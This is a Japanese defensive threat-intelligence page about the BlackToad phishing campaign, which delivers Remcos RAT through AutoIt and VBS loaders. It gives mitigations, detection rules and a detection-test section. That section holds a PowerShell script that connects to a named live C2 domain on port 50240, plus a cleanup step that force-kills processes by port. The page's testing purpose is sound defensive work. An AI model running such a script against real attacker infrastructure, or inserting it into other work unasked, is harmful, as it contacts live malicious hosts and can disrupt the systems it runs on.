BlackToad、自動化ITペイロードでネットワーク操作を利用
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
JUMPSECは、カスタムAutoItクリプターに隠されたRemcos RATペイロードを届けるフィッシングキャンペーンを発見しました。感染チェーンはVBSスクリプトを使用して実行 ipconfig /release の後に ipconfig /renewを行い、検出回避のためにネットワーク接続を一時的に妨害します。研究者は、このキャンペーンをナイジェリアのe犯罪エコシステムに関連付け、インフラストラクチャはモバイルISP接続の背後でホストされた動的DNSドメインに依存しています。
調査
調査は悪意のあるメールを追跡し、埋め込まれたWinRAR自己解凍アーカイブを解凍し、偽装されたAutoItインタープリターを起動するVBSローダーを特定しました。AutoItスクリプトはRemcosインプラントを復号化して実行し、回収された設定はコマンドアンドコントロールドメイン、ミューテックス値、および永続性Runキーを露出しました。研究者は、3つの動的DNSドメインとナイジェリアのIPアドレス群にインフラストラクチャをマッピングしました。
緩和策
組織は識別された動的DNSドメインおよび関連するIPレンジをブロックし、疑わしい ipconfig /release and ipconfig /renew シーケンスを監視し、AutoItまたはVBSスクリプトが生成する cmd.exeを検出すべきです。誤解を招く二重拡張子を使用するファイルには強力な実行制御を適用し、 WindowsUpdate のようなレジストリRunエントリは悪用を監視する必要があります。
対応策
この活動が検出された場合、影響を受けた端末を直ちに隔離し、Remcosプロセスを終了し、永続化に使用された悪意のあるRunキーを削除し、資格情報の窃取や後続の活動を完全に法医学的に調査します。ネットワーク停電技術およびキャンペーンに関連した特定のファイル名パターンを検出するように検出内容も更新すべきです。
攻撃フロー
検出
可能性のある永続性ポイント [ASEPs – Software/NTUSER Hive] (via registry_event)
表示
接触した可能性のある動的DNSサービス (via dns)
表示
二重拡張子を持つ悪意のある可能性のあるSCRファイル (via cmdline)
表示
IOC(HashSha256) を用いて検出: BlackToad: AutoItペイロードによるネットワーク操作
表示
IOC(HashMd5) を用いて検出: BlackToad: AutoItペイロードによるネットワーク操作
表示
IOC(SourceIP) を用いて検出: BlackToad: AutoItペイロードによるネットワーク操作
表示
IOC(DestinationIP) を用いて検出: BlackToad: AutoItペイロードによるネットワーク操作
表示
BlackToad C2通信検出 [Windowsネットワーク接続]
表示
AutoItペイロードによるBlackToadネットワーク操作 [Windowsプロセス作成]
表示
シミュレーション実行
前提条件: テレメトリー&ベースラインの事前チェックに合格している必要があります。
理論的根拠: このセクションは、検出ルールを引き金にすべく設計された敵技術(TTP)の正確な実行を詳細に示します。コマンドとストーリーは特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目指します。抽象的または無関連な例は誤診を引き起こします。
-
攻撃の概要とコマンド:
- 目標: ハードコードされたポート50240で既知の悪意のあるDDNSドメインの1つを使用してBlackToad RemcosインプラントとC2チャネルを確立します。
- ステップバイステップ:
- 選択した悪意のあるDDNSドメインを解決(
pmitm.ddns.net). - ポート50240で解決されたIPにTCPソケットを開く。
- インプラントの初期ハンドシェイクを模倣する最小の“ハートビート”ペイロードを送信する。
- ファイアウォールがアウトバウンド接続を記録することを確認するために30秒間ソケットを開いたままにする。
- 選択した悪意のあるDDNSドメインを解決(
- アウトバウンド接続は、Sigmaルールの
destination.ipリストおよびdestination.port基準に正確に一致し、検出可能なファイアウォールイベントを生成します。
-
回帰テストスクリプト:
# BlackToad C2通信シミュレーション (PowerShell) $c2Domain = "pmitm.ddns.net" # ルールに記載されたドメインの1つ $c2Port = 50240 try { # ドメインをIPに解決(DNSクエリテレメトリーを追加) $ip = [System.Net.Dns]::GetHostAddresses($c2Domain) | Where-Object { $_.AddressFamily -eq 'InterNetwork' } | Select-Object -First 1 if (-not $ip) { throw "Unable to resolve $c2Domain" } Write-Host "Resolved $c2Domain to $($ip.IPAddressToString). Connecting..." # TCP接続を開く(ファイアウォールのアウトバウンドログを生成) $client = New-Object System.Net.Sockets.TcpClient $client.Connect($ip, $c2Port) # シンプルなハートビート(16進 0x01)を送信 $stream = $client.GetStream() $payload = [byte[]](0x01) $stream.Write($payload, 0, $payload.Length) Write-Host "ハートビート送信しました。30秒間接続を維持します..." Start-Sleep -Seconds 30 $stream.Close() $client.Close() Write-Host "接続が正常に閉じられました。" } catch { Write-Error "シミュレーションに失敗しました: $_" } -
クリーンアップコマンド:
# 残っているソケットが存在する場合は閉じる Get-NetTCPConnection -RemotePort 50240 -State Established | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # 任意: 解決されたDDNSエントリを削除するためDNSキャッシュをフラッシュ ipconfig /flushdns Write-Host "クリーンアップ完了。"